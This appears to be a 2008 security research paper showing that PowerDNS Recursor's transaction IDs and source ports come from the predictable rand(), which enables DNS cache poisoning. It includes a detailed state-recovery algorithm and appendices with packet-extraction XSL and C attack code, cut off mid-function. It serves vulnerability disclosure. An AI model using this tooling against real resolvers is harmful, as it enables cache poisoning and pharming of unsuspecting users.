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Abstract 

PowerDNS is the third most popular DNS server on the Internet today. This paper 

shows that PowerDNS recursor DNS queries are predictable – i.e. that the source 

UDP port and DNS transaction ID can be effectively predicted. A predictability 

algorithm is described that, in optimal conditions, provides a single guess for the 

“next” query thereby overcoming whatever protection offered by the transaction 

ID and the UDP port randomization mechanisms. This enables an effective DNS 

cache poisoning attack against PowerDNS Recursor. The net effect is that 

pharming attacks are feasible against PowerDNS Recursor caching DNS servers, 

without the need to directly attack neither DNS servers nor clients (PCs).  
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1. Introduction 

PowerDNS Recursor ([12]) is a popular, cross platform caching DNS server with 

emphasis on security. In a recent survey ([1]), it came out as the third most 

popular DNS server, with market share of 6.59%. Moreover, extrapolating from 

earlier surveys ([2], [3]), it is expected to hit 9%-10% later this year. In 

September 2006, the vendor estimated that PowerDNS Recursor services “over 

40 million Internet connections” ([17], section 1.3.4). 

PowerDNS is a C++ application which can be complied and run on Unix-like 

platforms (which are its typical platform) and on Windows platforms as well. Its 

author states that it was written with security in mind ([4]), and so it contains an 

additional measure against DNS cache poisoning in the form of UDP source port 

randomization ([5]). 

Unfortunately, the randomization of both the TRXID and the UDP source port in 

Recursor amounts to using the underlying standard C library (stdlib) random 

facility (rand() and srand()). These functions can are predictable, and as such 

enable DNS cache poisoning of Recursor. 

It is highly advised for the reader to make himself/herself familiar with the 

introduction of ([6]), as the current paper assumes understanding of DNS cache 

poisoning attacks and DNS cache poisoning history. This paper will not reference 

prior work except as needed specifically PowerDNS Recursor; a reader interested 

in generic DNS cache poisoning prior art is again welcome to consult [6]. 

Henceforth, “PowerDNS Recursor” (or sometimes just “PowerDNS”) refers to all 

software versions of PowerDNS Recursor starting with 3.0, and up to and 

including 3.1.5 snapshot 4. 

The attack described below predicts the values of the next DNS transaction ID 

field and UDP source port that will be used by PowerDNS Recursor. The attack is 

applicable to all the above mentioned versions (it was tested with version 3.1.4-

1). The attack requires the attacker to obtain a consecutive sequence of DNS 

queries made by PowerDNS. The paper explains how such a series can be easily 

obtained. Using this sequence, an algorithm is described that predicts the next 

values of the transaction ID and UDP source port. The attacker can then force the 

server to try to resolve an arbitrary name, and simultaneously the attacker can 

send a forged DNS response that PowerDNS will match to its own query, thus 

incurring cache poisoning condition on the PowerDNS server. The attack is very 

efficient – it takes less than 1 millisecond to predict the next transaction ID and 

UDP source port number, and so it can be carried out in real time. 

 

2. Randomization in PowerDNS Recursor 

PowerDNS Recursor randomizes the TRXID and the UDP source port of outgoing 

DNS queries. A random TRXID is obtained by invoking rand() and using its low 

order 16 bits. A random UDP source port is obtained by adding 1025 to (rand() 

modulo 64510). If the source port is already in use, another random port is 

chosen similarly, and so forth (this repeats 10 times and if unsuccessful, it 

reverts to the system assigned port). When the server is not heavily loaded, this 

process succeeds at the first attempt, and thus it will be henceforth assumed that 
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a single invocation of rand() is used to obtain a random source port. Several tests 

conducted in the lab suggest that indeed, this assumption is valid. 

The TRXID value (16 bits) is serialized into the DNS query packet according to 

the native host layout – if the host is little-endian (e.g. Intel x86), then it will be 

serialized in little endian fashion, and if the host is big endian it will be serialized 

in big endian fashion. 

The TRXID (16 bits) and the UDP source code (64510 possibilities) add up to 

almost 32 bits of randomness, which should defeat brute force forging attacks 

such as the ones described in [14] and [15]. 

The C standard library random facility is seeded by PowerDNS at startup, by 

calling srand() with the current count of seconds since 01/01/1970, 00:00 GMT. 

The analysis below does not exploit this fact, although it is a security issue in 

itself. This is elaborated upon in Appendix A. 

The implementation of rand() differs among different stdlib implementations. The 

GNU glibc implementation ([8]) uses a 31-cell linear feedback shift register over 

the modulo 232 group, whereas the Microsoft Visual C++ runtime library 

(MSVCRT) uses a simple linear congruence modulo 232 for its random number 

generator ([9]). The GNU glibc is typically used in Unix-like systems which are 

the primary platforms for PowerDNS, and it will be analyzed first. This will be 

followed by an analysis of the MSVCRT implementation which is native for 

Windows (and is also much more trivial to attack).  

 

3. Attack outline 

The outline of the attack somewhat resembles that of [6]. Namely, the attacker 

needs to obtain several consecutive samples of TRXIDs (and in this case, UDP 

source ports), in order to be able to fully reconstruct the internal state of the 

random number generator. From thence on, the attacker can effectively predict 

the next values of the random number generator, and hence the values of the 

next TRXIDs and source ports. 

For the attack to succeed, the attacker needs to observe (in the glibc case) 40-50 

consecutive queries (1-2 queries in the case of MSVCRT). Unlike [6], CNAME 

chaining is out of the question, since PowerDNS Recursor does not follow more 

than 10 CNAME redirections. However, as noted in [6], it is possible to obtain 

sequences using other techniques, such as referral chaining. Using referral 

chaining enables sequences of 100+ queries, all thereof need to be sent serially 

(i.e. maintaining order). This suffices for the purpose of the attack. 

There are 2 complications still: 

• Use of random_shuffle() by PowerDNS. PowerDNS recursor invokes the 

random_shuffle() template function (part of the STL, defined in 

<algorithm>). random_shuffle(), in turn, may invoke rand(), and thus 

may spoil the sequence of rand() readouts. This can be easily avoided by 

the attacker during the sequence sampling, but has implications regarding 

the prediction technique. This will be explained further in section 6, and 

for the time being, it will be ignored. Note that in case the random_shuffle 

implementation does not invoke the stdlib rand(), then there is no 

problem at all. 
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• Forking. At the moment, this feature is indicated as “experimental” in the 

documentation ([7]), and seems to be turned off by default. However, 

should it be turned on at the target system, it may very well interfere with 

the algorithm since there will be two different sequences of random 

numbers (one per each PowerDNS process). Still, the attacker may 

somehow be able to force the system to serve from the same process, in 

which case the attack will succeed. It is safe to assume, therefore, that 

forking is not enabled. 

A successful reconstruction of the current state of the PRNG can help the attacker 

poison the cache at any arbitrary point in time at the future. The attacker only 

needs then to obtain a fresh sample (DNS query) from PowerDNS, roll forward 

the PRNG until a match is found for both TRXID and source port (TRXID 

elimination should be carried out first, since it does not involve the more 

expensive modulo operation), and proceed with the attack from there. 

 

4. Attacking the glibc PRNG (Unix-like systems) 

4.1 The glibc PRNG 

The glibc PRNG is a 31-cell linear feedback shift register over the ring modulo 232. 

Thus, it has 31×32 (=992) bits in its internal state.  

The register advances using a trinomial feedback, as following: 

 

Ri+31=(Ri+Ri+28) mod 232 

The output at step i consists of the 31 higher bits of Ri (i.e. without the least 

significant bit).  

 

4.2 Notations for the attack 

Assuming that there are 40-50 available consecutive queries, each providing the 

attacker with a TRXID (first invocation of rand()) followed by a source port 

(second invocation of rand()), denote: 

TRXIDi – the TRXID value of the ith query (16 bits) 

Pi – the UDP source port number of the ith query, minus 1025 (0..64509). 

These relate directly to an internal state vector R (32 bits each), as following: 

Let  

Rn=2
17·(Hn)+2·Ln+Xn 

 

Where Hn is 15 bits, Ln is 16 bits and Xn is one bit. 

 

Then the output of rand() is actually 
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216·(Hn)+Ln 

 

Thus, for i=0…40-50: 

 

TRXIDi=L2·i 

Pi=(2
16·(H2·i+1)+L2·i+1) mod 64510 

 

4.3 Phase I – Extracting X 

The attacker can extract the least significant bit of Ln easily. It is indeed visible 

with TRXID (for even n). When n is odd, note that Pi mod 2 yields this bit exactly. 

Looking now at how Rn advances, clearly if there is a carry from the least 

significant bit when adding Rn to Rn+28, then this carry will increment the next to 

least significant bit. In other words, if (and only if) both Xn and Xn+28 are 1, the 

following will hold: 

 

Ln+31=(Ln+Ln+28+1) mod 2 

 

And if at least one of Xn or Xn+28 is zero, then the following will hold instead: 

 

Ln+31=(Ln+Ln+28) mod 2 

 

Thus, whenever Ln+31=(Ln+Ln+28+1) mod 2, the attacker obtains two linear 

equations: 

 

Xn=1 

Xn+28=1 

 

And when Ln+31=(Ln+Ln+28) mod 2, the attacker knows that it’s impossible for 

both equations to hold. 

 

By applying information theoretic argument, it is possible to calculate a minimum 

amount of queries needed: beyond the first 31 values, each carry bit (whose 

distribution is ¾:¼) contributes 0.81 bits of information. Therefore, the attacker 

needs (31+31/0.81=69.2) values. This is, however, a lower bound, since there 

are duplicate equations (the same bit can be flagged as one in two instances, and 

in fact this is quite likely). Therefore, 40-50 consecutive queries (80-100 values) 

are typically needed in order to arrive at a single solution for the system. 

For example, with 90 consecutive values available (i.e. 45 consecutive queries), 

and keeping in mind that the first 31 values cannot be used to obtain information, 

the attacker can look at the remaining 59 values, and with probability ¼ each 

value yields two equations. Thus the attacker can expect 28…30 equations. 
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However, there are duplicate equations, so the actual amount of different 

equations is more around say 25. The attacker can solve the set of linear 

equations easily, and obtain 26 candidates for the full set of 31 least significant 

bits. The attacker can then eliminate false solutions using the cases where 

Ln+31=(Ln+Ln+28) mod 2 – i.e. in those cases, both bits involved cannot be 1 

simultaneously. 

Typically, there are 1-10 “free” variables, i.e. enumeration over 21-210 is required. 

At the end of this phase, the attacker can compute H in fullness. 

 

Note that this is the only phase in which 40-50 queries are needed. The next 

phases use only the first 31 queries. 

 

4.4 Phase II – Calculating L for odd positions in 

31…61 

As noted above, the attacker knows L in all the even positions. But since the 

attacker knows all H values, the attacker actually knows the least significant 17 

bits of R in all even positions. The attacker can project R to modulo 217 and use 

that to calculate the least significant bits in the even positions in 31…61, through 

the following equation: 

 

Ri+31 mod 217=((Ri mod 217)+(Ri+28 mod 217)) mod 217 

 

When i is even between 0 and 30, this yields values for all odd positions of R 

(modulo 217). L is retrieved by simply discarding the least significant bit of R in 

the respective position. 

 

4.5 Phase III – Calculating L for odd positions in 

0…30 

Continuing the line of thought from the previous phase, the same technique can 

be applied to retrieve the values of L in odd positions in 0…30, by rewriting the 

above equation as: 

 

Ri mod 217=((Ri+31 mod 217)-(Ri+28 mod 217)) mod 217 

 

4.6 Phase IV – Calculating H for odd positions in 

0…61 

Now that the attacker knows all Ls, the equation  

 



PowerDNS Recursor DNS Cache Poisoning   

   

8   

Pi=(2
16·(H2·i+1)+L2·i+1) mod 64510 

 

Comes in handy. Rewriting it into: 

 

216·H2·i+1=(Pi-L2·i+1) mod 64510 

 

Indicates that (Pi-L2·i+1) must be even. If it is not, then obviously the original data 

is at error, and/or the solution chosen for the linear equations is not the correct 

one. 

 

Assuming that (Pi-L2·i+1) is even, it is possible to divide both sides of the equation 

by two, to get: 

 

215·H2·i+1=((Pi-L2·i+1)/2) mod 32255 

 

Multiplying by 31752 (which is the inverse of 215 modulo 32255) yields: 

 

(H2·i+1 mod 32255)=(31752·((Pi-L2·i+1)/2)) mod 32255 

 

The attacker thus has almost complete information on H (in odd positions). It is 

not totally complete because the attacker knows the value up to modulo 32255, 

whereas the value itself can take full 15 bits. When the value obtained through 

the above formula is higher than or equals to 32768-32255=513, there is a single 

solution, and the information is complete. However, if the value is smaller than 

513 (with probability 1026/32768=3.1%), there are two solutions. Since there 

are 31 such values to analyze, it is quite probable that 1-2 positions will have two 

solutions. In such case, both solutions need to be enumerated.  

 

Combining the values for H, L and H in the odd positions 0…61 yields full 

reconstruction of R in the odd positions. 

 

4.7 Phase V – Calculating R for even positions in 

31…61 

With the values of R known in all odd positions, applying the formula  

 

Ri+31=(Ri+Ri+28) mod 232 

 

For odd values of i in 0…31 yields the values of R in the even positions in 31…61. 
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4.8 Phase VI – Calculating R for even positions in 

0…30 

Applying the above technique and rearranging the formula: 

 

Ri=(Ri+31-Ri+28) mod 232 

 

For even values of i in 0…30, yields R values in even positions in 0…30. 

At the end of this phase, the attacker has fully reconstructed the internal state of 

the random number generator (R0…R30), up to the enumeration at phase IV. 

 

4.9 Phase VII – Final elimination and verification 

The attacker can now reconstruct the whole sequence of PRNG outputs involved 

in the generation of the queries sampled, and verify that the reconstructed PRNG 

yields the same TRXIDs and port numbers as those that were actually sampled.  

With 45-50 consecutive queries, a single solution is expected. However, if there 

are not enough DNS queries available (typically less than 40-45), multiple 

solutions may be suggested by the above algorithm. In such case, the values 

they predict need to be grouped together (per offset, see the next section) and 

each should be used in a separate forged DNS response. There are likely to be 

duplicates among the suggested combinations (of TRXID and UDP source port), 

which only need to be transmitted once, thus reducing the amount of forged DNS 

packets needed for poisoning the Recusror cache. Experiments show that when 

only 40 queries are available, multiple solutions are suggested, but per a single 

offset, oftentimes only 1-2 different combinations are suggested. 

 

5. Attacking the MSVCRT PRNG (Windows) 

PowerDNS Resolver explicitly supports Windows starting with version 3.1 ([17], 

section 1.3.6). The MSVCRT (Microsoft’s implementation of the standard C 

runtime library) implementation of rand() uses an internal state consisting of a 

single 32 bit variable. In fact, the most significant bit of this variable is not used. 

Likewise, the seed’s most significant bit is not used as well. So de-facto, the 

scheme uses a 31 bit seed and a 31 bit internal state. MSVCRT’s rand() returns a 

number in the range 0-32767 (15 random bits), so already the maximum 

randomness in a single outgoing DNS query drops from almost 32 bits to 30 bits. 

There are known attacks (prediction algorithms) against the MSVCRT 

implementation, e.g. [10] (which seems to be more generic and less efficient 

specifically against the MSVCRT PRNG). Here is a simple and efficient attack.  

Assume that the attacker obtains a single outgoing query from PowerDNS. The 

query exposes two consecutive outputs from the PRNG – TRXID is the first one, 

and it is exactly the first output (it uses only the low 16 bits from rand(), but in 

MSVCRT, rand() already returns only 15 bits), and the port number minus 1025 is 
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the second one (again, the port number is taken as rand() modulo 64510, but 

since rand() is already smaller than 32768, it is fully exposed).  

The attacker then enumerates over the least significant 16 bits of the PRNG state 

after TRXID was obtained, completes the state with the TRXID bits, and 

calculates the next value, comparing it with the port number and eliminating false 

guesses. It is expected that the attacker ends up with 2 guesses for the internal 

state. From thence on, the attack continues as in the case of glibc.  

Naturally, by obtaining two consecutive DNS queries, the attacker can further 

eliminate the false guess to reach the one correct internal state. 

 

6. The random_shuffle complication 

The above analysis assumed that TRXID and UDP source port are the only 

“consumers” of rand() in PowerDNS. This is not so. PowerDNS invokes the 

template function random_shuffle() (standard STL function defined in 

<algorithm>). This function, as it name suggests, randomizes the order of 

elements inside a container. It does so by invoking a PRNG, which may or may 

not be the stdlib rand() – this is an implementation detail. However, the 

implementations of libstdc++ (part of the gcc suite) and that of MSVC STL do 

make use of the stdlib rand(). If the element range (within the container) to be 

shuffled has n elements, then it will call rand() n-1 times (in MSVC STL, 

additional calls to rand() may occur if the number of elements to shuffle is 32768 

or higher; however, this is theoretically impossible in the case of PowerDNS). 

PowerDNS uses random_shuffle() in order to shuffle lists of A records and NS 

records. Consider a domain referral response obtained by PowerDNS (as part of 

the attack). If this response contains a single NS record and a single A record for 

it (glue), and if that authoritative name server is already cached, then PowerDNS 

needs not call random_shuffle() in order to prepare its next query. Hence, the 

attacker can obtain a sequence of consecutive calls for rand() by making sure the 

responses only contain a single NS record and a single A record for an already 

cached name server (which the attacker can force to be cached in the first 

response). Thus the basic assumption of the attack holds. 

When the attacker moves to predict the next query though, there is a 

complication. The next query can be forced by the attacker (e.g. via CNAME) to 

be, say, www.example.com. However, the attacker does not control how many 

NS and A records are involved. Assuming, for example, that .com is already 

cached, PowerDNS first retrieves the list of name servers (NS records) for .com – 

there are actually 13 of them (a.gtld-servers.net…m.gtld-servers.net, see [13]), 

calls random_shuffle() on this list (which invokes rand() 12 times) and proceed to 

look at A records – fortunately there is only one per each server, so rand() is not 

invoked. In total, additional 12 invocations of rand() occurred before shaping the 

next query. However, if the attacker knows that .com is already cached (in fact, 

the attacker can force it easily), then the attacker can easily predict that there 

will be 12 “hops” in rand() before the invocations used for the new DNS query. 

Therefore, the random_shuffle() complication either requires the attacker to 

study the NS records and A records associated with cached data (e.g. by looking 

at the .com public DNS records) and calculate the amount of rand() hops, or the 

attacker can use “brute force”  and attempt to send to PowerDNS a dozen or two 

possible combinations of TRXID and UDP source port, by enumerating over the 

(likely) 0-20 hops. 
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7. Conclusions 

While PowerDNS Recursor contains several security measures specifically 

intended to address DNS cache poisoning (such as UDP source port 

randomization, and forged DNS response detection), it relies on the randomness 

and strength of the standard C library PRNG facility (the rand() and srand() 

functions of <stdlib.h>). This is a flawed strategy, since those functions do not 

guarantee cryptographically strong randomness. Indeed, the paper has shown 

that the two probably most popular implementations of <stdlib.h> provide a very 

predictable PRNG mechanism.  

The paper demonstrated that the “classic” DNS poisoning attack is applicable to 

PowerDNS Recursor. The attack does not require “query access” to the DNS 

server (except for a single triggering query). This is in contrast to the birthday 

attack, which requires a burst of tens of thousands of queries (due to PowerDNS 

Recursor’s use of source port randomization), rendering the birthday attack 

ineffective, especially when Split-Split DNS configuration is used.  

Usage of industrial-strength cryptographic algorithms (which is indeed the way 

this issue is now addressed in PowerDNS Recursor 3.1.5) is recommended for the 

DNS transaction ID generation. Together with UDP source port randomization 

(which has been a part of PowerDNS Recursor at least since version 3.0), this 

yields 32 bits of highly unpredictable data that needs to be spoofed, thus making 

DNS cache poisoning much less (if at all) feasible. 

 

8. Disclosure timeline 

March 16th, 2008, 10AM GMT – vendor contacted, problem description sent. 

March 16th, 2008, 3:40PM GMT – vendor silently fixes the issue (for Unix-like 

operating systems) in PowerDNS Recursor 3.1.5-snapshot 5 ([18]). According to 

the vendor, Windows support will be added later. 

March 31st, 2008 – the paper released, simultaneously with the announcement of 

PowerDNS Recursor 3.1.5, which formally addresses this issue (see [19]). 

 

9. Vendor/product status 

PowerDNS Recursor 3.0-3.1.4 – vulnerable (both Windows and Unix-like 

versions). 

PowerDNS Recursor 3.1.5-snapshot1-PowerDNS Recursor 3.1.5-snapshot4 – 

vulnerable (both Windows and Unix-like versions). 

PowerDNS Recursor 3.1.5-snapshot5 and above (including PowerDNS Recursor 

3.1.5) – not vulnerable (Unix-like versions). See [17] section 1.3.1. 

 



PowerDNS Recursor DNS Cache Poisoning   

   

12   

10. References 

[1] “DNS SURVEY: OCTOBER 2007”, The Measurement Factory, October 2007 

http://dns.measurement-factory.com/surveys/200710.html 

 

[2] “DNS SURVEY: AUGUST 2006”, The Measurement Factory, August 2006 

http://dns.measurement-factory.com/surveys/200608.html 

 

[3] “DNS SURVEY: APRIL 2005”, The Measurement Factory, April 2005. 

http://dns.measurement-factory.com/surveys/200504-full-version-table.html 

 

[4] “PowerDNS & General Thoughts on the (Ir)relevance of DNS” (RIPE-47 

presentation), Bert Hubert (Netherlabs Computer Consulting BV), January 2004. 

See page 6 – “Our attitude […] Security over everything”. 

http://www.ripe.net/ripe/meetings/ripe-47/presentations/ripe47-dn-

powerdns.pdf 

 

[5] “Anti-spoofing” (“PowerDNS manual” section 12.4.1). 

http://downloads.powerdns.com/documentation/html/recursor-

details.html#ANTI-SPOOFING 

 

[6] “BIND 9 DNS Cache Poisoning”, Amit Klein (Trusteer), July 2007. 

http://www.trusteer.com/docs/bind9dns.html (HTML) 

http://www.trusteer.com/docs/BIND_9_DNS_Cache_Poisoning.pdf (PDF) 

 

[7] “pdns_recursor settings” (“PowerDNS manual” section 12.1, PowerDNS 

website). 

http://downloads.powerdns.com/documentation/html/built-in-

recursor.html#RECURSOR-SETTINGS 

 

[8] “CVS file /libc/stdlib/random_r.c revision 1.18.6.2” (PowerDNS CVS, RedHat 

website). 

http://sources.redhat.com/cgi-

bin/cvsweb.cgi/~checkout~/libc/stdlib/random_r.c?rev=1.18.6.2&content-

type=text/plain&cvsroot=glibc 

 

[9] “Linear congruential generator” (Wikipedia entry). 

http://en.wikipedia.org/wiki/Linear_congruential_generator#LCGs_in_common_u

se 

 



PowerDNS Recursor DNS Cache Poisoning   

   

13   

[10] “Predict Random Numbers” (PerlMonk web site page), “no slogan” 

(nickname), May 4th, 2001. 

http://www.perlmonks.org/?node=Predict%20Random%20Numbers 

 

[11] “Command Line Transformations Using msxsl.exe” (MSDN XML General 

Technical Articles), Andrew Kimball, September 2001. 

http://msdn2.microsoft.com/en-us/library/aa468552.aspx 

 

[12] “PowerDNS - A Modern, Advanced and High Performance Nameserver” 

(PowerDNS website homepage). 

http://www.powerdns.com/ 

 

[13] “IANA - .com - Domain Delegation Data” (IANA website). 

http://www.iana.org/domains/root/db/com.html 

 

[14] “Measures for making DNS more resilient against forged answers” (IETF 

Internet draft), Bert Hubert (Netherlabs Computer Consulting BV) and Remco van 

Mook (Virtu), February 19th, 2008. 

http://tools.ietf.org/html/draft-ietf-dnsext-forgery-resilience-02 

 

[15] “PowerDNS Recursor: The Most Advanced Way To Resolve Domain Names” 

(RIPE-53 presentation), Bert Hubert (PowerDNS.COM BV), October 5th, 2006. 

http://www.ripe.net/ripe/meetings/ripe-53/presentations/powerdns_update.pdf 

 

[16] “Debian -- Details of package pdns-recursor in etch” (Debian website page). 

http://packages.debian.org/etch/pdns-recursor 

 

[17] “PowerDNS manual – Release Notes” (PowerDNS website). 

http://downloads.powerdns.com/documentation/html/changelog.html 

 

[18] “[Pdns-users] PowerDNS Recursor 3.1.5-snapshot5 available” (Pdns-users 

mailing list submission), Bert Hubert, March 16th, 2008. 

http://mailman.powerdns.com/pipermail/pdns-users/2008-March/005249.html 

 

[19] “PowerDNS Security Advisory 2008-01” (PowerDNS website) 

http://doc.powerdns.com/powerdns-advisory-2008-01.html 



PowerDNS Recursor DNS Cache Poisoning   

   

14   

Appendix A – other security issues 

A.1 Key size 

The “key” for the C standard library random facility is the seed provided to 

srand(). The C standard library typically defines it as a 32 bit quantity (unsigned 

int). As such, it is a small key, enabling an attacker to brute force it, especially if 

the server has not issued a lot of outgoing queries (so the PRNG need not be 

rolled forward too many times). 

This is an inherent issue with using a non-cryptographic PRNG such as the C 

standard library random facility. 

 

A.2 Seeding 

On top of the previous issue, PowerDNS seeds the PRNG with time(0), which is 

the amount of seconds elapsed since 01/01/1970 00:00 GMT. This quantity is 

sampled at the PowerDNS process startup, which typically amounts to system 

start time. If the attacker knows when the system was last booted, he/she will 

have a good idea what this value is, and consequently, what values are produced 

by the PRNG. For instance, knowing which day the system was booted amounts 

to only 86,400 guesses for the respective time(0). If the product of boot time 

range (in seconds) and amount of rand() invocations since (which amounts to 

twice the number of outgoing DNS queries, plus the random_shuffle impact) is 

small enough (up to few billions), then it is possible to enumerate over all 

possible seeds and all possible offsets of the PRNG and quickly eliminate wrong 

guesses. If the product is no more than few billions, then probably a single DNS 

query sample suffices to arrive at a single guess. If the product is higher than 232, 

then obviously 2 DNS queries are needed. However, unlike the technique outlined 

in the main paper, in this case, there is no strong requirement for the two 

packets to be strictly consecutive, and there is some tolerance for a gap between 

the packets. The first packet can be used to reduce the guess space to few dozen 

guesses. Then each guess can be rolled forward thousands of iterations until one 

of them matches the second packet.  

Such enumeration attack can be parallelized/distributed easily (e.g. by 

distributing work on different seeds to different processing units). 

Note that with the MSVCRT PRNG, the prediction attack based on a single packet 

is far more efficient than the above numeration technique, and at the same time 

does not place any further requirements beyond those already placed by the 

enumeration technique. 

For example (relevant for glibc PRNG), if it is known that a DNS server was 

booted in a certain day, and that since that day, less than 1,000,000 outgoing 

DNS queries were sent, then there are 86,400 possible seeds, and ~5,000,000 

(two per each DNS query and adding a 150% overhead for the random_shuffle() 

invocations) possible offsets in the PRNG. The product is therefore 432 billion 

possible guesses. It will take a PC quite some time to enumerate over all these 

states (few thousand seconds for a powerful PC). Also, it will require two DNS 

packets. Since the attack is probably impossible to carry out in real time for a 

reasonable PC (it will take few hundred seconds to go over all states), the 
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attacker will have to resynchronize the state with an additional DNS query 

obtained just before the actual attack. 

Another example (relevant for glibc PRNG): assuming the DNS server was started 

sometime in the last 24 hours (86,400 seconds), and that it is relatively idle 

(~5,000 queries maximum – approximately 25,000 possible offsets for the 

PRNG), the product becomes ~2 billion, which can be reduced to a single guess 

using a single DNS query. Also, going over 2 billion states should take a PC few 

dozen seconds (5-10 seconds if the PC is a multi-core/CPU powerful machine and 

the code is optimized), so re-synchronizing may not be necessary if the server 

has been otherwise idle. 

PowerDNS’s seeding can be used in the MSVCRT attack in order to reduce the 

amount of states suggested from a single DNS query analysis. Typically, two 

states would be suggested in this case. However, if the product of start time 

uncertainty (in second) and PRNG offset uncertainty is around 231 (or better yet, 

if it’s smaller than 231), then the candidates for the current state (as calculated by 

the algorithm described in section 5) can be rolled back to all possible offsets, 

and the candidate initial states can be intersected with the possible process start 

times to find the candidates that satisfy this requirement as well. For instance, if 

the product is 230, then this additional information represents an additional 1 bit 

of information, and as such, it is likely to reduce the number of candidate current 

states from 2 to 1. 

 

A.3 Derivatives from the main attack (glibc only) 

The main attack provides the attacker with the current internal state of the PRNG. 

The attacker can now roll back the PRNG until it satisfies the initial state (see the 

implementation of srandom_r() in [8]), namely for i=1…30: 

 

Ri=(16807·Ri-1) mod 2147483647 

 

This is a simple test that can be applied each time the state is roll backed, to 

reach the exact initial state. Once this is reached (and the above equation is met 

for all state elements), the seed can be found in R0, and the exact amount of 

random data that was obtained from the PRNG becomes known to the attacker. 

This in turn compromises the exact time in which PowerDNS was started, as well 

as provides a coarse indication as to the amount of DNS outgoing queries sent. 
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Appendix B – XSL File 

This XSL file can be applied to the PDML export file produced by the WireShark 

network analyzer (a similar XSL can be used for Ethereal, though the latter uses 

slightly different field names). It extracts data per each DNS query into a single 

line, separated by spaces. The following fields are extracted: 

• DNS transaction ID (4 hex digits) 

• Capture timestamp (seconds, 9 digits after the decimal point) 

• Query object (string) 

• UDP source port (4 hex digits) 

The XSL transformation can be applied by any XSLT engine, e.g. Microsoft MSXSL 

([11]).  

The C program in Appendix C assumes the output of this XSL transformation as 

its input. 

It is advised that WireShark filters be used prior to applying the XSL 

transformation, because the former is much quicker than the latter, e.g. filtering 

for ip.src==…  and dns.flags.response==0  before exporting. 

 

<?xml version="1.0" encoding="ISO-8859-1"?> 
 
<xsl:stylesheet version="1.0" xmlns:xsl="http://www .w3.org/1999/XSL/Transform"> 
<xsl:strip-space elements="*"/> 
<xsl:output method="text" encoding="ISO-8859-1"/> 
<xsl:template match='/pdml/packet/proto[@name="dns"  and  

field[@name="dns.flags"]/field[@name="dns.flags.res ponse"]/@value="0"]'> 
<xsl:value-of select='field[@name="dns.id"]/@value'  /> 
<xsl:text> </xsl:text> 
<xsl:value-of select='../proto[@name="geninfo"]/fie ld[@name="timestamp"]/@value' /> 
<xsl:text> </xsl:text> 
<xsl:value-of  

select='field[@show="Queries"]/field/field[@name="d ns.qry.name"]/@show' /> 
<xsl:text> </xsl:text> 
<xsl:value-of select='../proto[@name="udp"]/field[@ name="udp.srcport"]/@value' /> 
<xsl:text>&#x0d;&#x0a;</xsl:text> 
</xsl:template> 
</xsl:stylesheet> 
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Appendix C – generic attack framework 

The following program takes a file input (see Appendix B for a description of the 

file format and how to generate it) containing captured consecutive queries of 

PowerDNS, and outputs the next possible 21 combinations of TRXID and UDP 

source port that may be used for the next query by PowerDNS (i.e. assuming 0-

20 hops). It should be used with the attack() function in Appendix D (glibc) or 

Appendix E (MSVCRT). 

 

#include <stdlib.h> 
#include <stdio.h> 
 
/* Maximum consecutive query samples supported */ 
#define MAX_SIZE 100 
 
/* How many random outputs do we want to predict, p lus 1 */ 
#define FORWARD_PREDICTION 22 
 
/* endianness of the PowerDNS recursor hardware: 0 for big endian, 1 for little endian 
*/ 
int host_is_little_endian=1;  
 
/* swap bytes (used for little endian platforms) */  
int swap(int x) 
{ 
 return ((x & 0x00FF)<<8)|((x & 0xFF00)>>8); 
} 
 
/* read query data from file */ 
void getfiledata(char* filename,int trxid[],int por t[],int* size) 
{ 
 FILE* fp; 
 int line; 
 double t; 
 char name[256]; 
 int net_trxid; 
 
 fp=fopen(filename,"r"); 
 if (fp==NULL) 
 { 
  printf("ERROR: unable to open file %s\n",filename ); 
  exit(0); 
 } 
 
 line=0; 
 while(!feof(fp)) 
 { 
  if (fscanf(fp,"%x %lf %s %x",&net_trxid,&t,name,& (port[line]))!=4) 
  { 
   break; 
  } 
  if (line>=MAX_SIZE) 
  { 
   printf("INFO: %d lines (maximum) read - truncati ng further 
lines\n",MAX_SIZE); 
   break; 
  } 
  if (host_is_little_endian) 
  { 
   net_trxid=swap(net_trxid); 
  } 
  trxid[line]=net_trxid; 
  line++; 
 } 
 
 printf("INFO: read %d lines from file\n",line); 
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 fclose(fp); 
 
 *size=line; 
 return; 
} 
 
void report(int offset,int trxid,int port) 
{ 
 printf("Offset %2d: DNS TRXID=0x%04x and UDP port= %5d 
(0x%04x)\n",offset,trxid,port,port); 
} 
 
void attack(int trxid[],int P[],int size); 
 
int main(int argc, char* argv[]) 
{ 
 int trxid[MAX_SIZE],port[MAX_SIZE],P[MAX_SIZE]; 
 int size,i; 

if (argc<2) 
 { 
  printf("Usage: \n"); 
  printf("   %s file   --- predict PowerDNS Recurso r 3.x's next query, 
from previous queries in 'file' (format is describe d in Appendix B)\n",argv[0]); 
 
  return; 
 } 
 
 getfiledata(argv[1],trxid,port,&size); 
 
 /* adjust the port */ 
 for (i=0;i<size;i++) 
 { 
  P[i]=port[i]-1025; 
  if ((P[i]<0) || (P[i]>=64510)) 
  { 
   printf("ERROR: port value is out of range: 
port[%d]=%d\n",i,port[i]); 
   exit(0); 
  } 
 } 
 
 printf("Note: duplicate predictions may occur if n ot enough data is provided in 
the file\n\n"); 
 
 attack(trxid,P,size); 
 
 return; 
}  
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Appendix D – attack() for glibc 

For a data set containing 40-50 queries, attack() typically executes in less than 1 

millisecond on an IBM ThinkPad T60 laptop with Intel Centrino CoreDuo T2400 

CPU @1.83GHz and Windows XP SP2 operating system – certainly a moderately 

powered machine. 

This algorithm was successfully tested against PowerDNS Recursor version 3.1.4-

1 installed on Debian 4.0 Linux (on Intel Pentium IV platform). See [16] for 

package information. 

 

#if (MAX_SIZE<31) 
#error MAX_SIZE<31 
#endif 
 
void next_phases(int trxid[],int P[],int size,int X []); 
 
void attack(int trxid[],int P[],int size) 
{ 
 int Llsb[2*MAX_SIZE],lf[2*MAX_SIZE],a[2*MAX_SIZE], b[2*MAX_SIZE],X[2*MAX_SIZE]; 
 int i,var,j,equation_count,current_line; 
 int known[31],free[31],free_count; 
 int tmp_a,tmp_b; 
 int good,carry,s,k; 
 
 /* prepare Llsb */ 
 for (i=0;i<size;i++) 
 { 
  Llsb[2*i]=trxid[i] & 1; 
  Llsb[2*i+1]=P[i] & 1; 
 } 
 
 /* phase I - calculate the hidden bit, X, for all samples */ 
 
 /* represent each X bit as a linear combination (f unctional) of the first 31 X 
bits (variables) */ 
 /* each linear functional is represented as 31 bit s in an int variable, so that 
